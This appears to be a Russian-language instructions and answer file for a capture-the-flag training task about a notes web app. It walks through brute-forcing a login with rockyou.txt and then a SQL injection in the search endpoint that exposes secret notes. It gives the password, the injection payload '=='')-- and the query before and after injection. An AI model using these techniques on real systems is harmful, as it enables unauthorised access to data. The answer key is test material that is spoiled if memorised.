Files
2025-12-22 05:19:38 +03:00

2.5 KiB
Raw Permalink Blame History

Инструкции

  1. Перейдите по адресу http://<ip>:<port>/.
  2. Пользователь запускает brute-force атаку (например, через BurpSuite) по словарю rockyou.txt с гитхаба или с Кали Линукс (подскаска с именем пользователя есть в консоле браузера)
  3. Пользователь получает доступ и вводит в поле поиска заметок текст, она отправляется на сервер и обрабатывается.
  4. Пользователь через неё или по пути http://<ip>:<port>/api/search?q=<query> проводит атаку "SQL-инъекция", которая вытянет сразу все записи, включая секрет преподавателя.

Ответы

Логин: harry Пароль: harrypotter Инъекция: '=='')--

Вид уязвимости

Задача предполагает наличие SQL-инъекции в поиске по заметкам. Обычно пользователи видят только публичные заметки (is_secret = false), но через SQL-инъекцию можно получить доступ ко всем записям, включая секретную заметку с флагом.

Примеры SQL-инъекций

-- Обычный запрос
SELECT id, title, content, created_at, author_id FROM notes
    WHERE ('%поиск%' = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id))   CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
  ORDER BY created_at DESC

-- Инъекция для получения всех записей
'=='')--

-- Результирующий запрос:
SELECT id, title, content, created_at, author_id FROM notes
    WHERE (''=='')-- = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id))   CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
  ORDER BY created_at DESC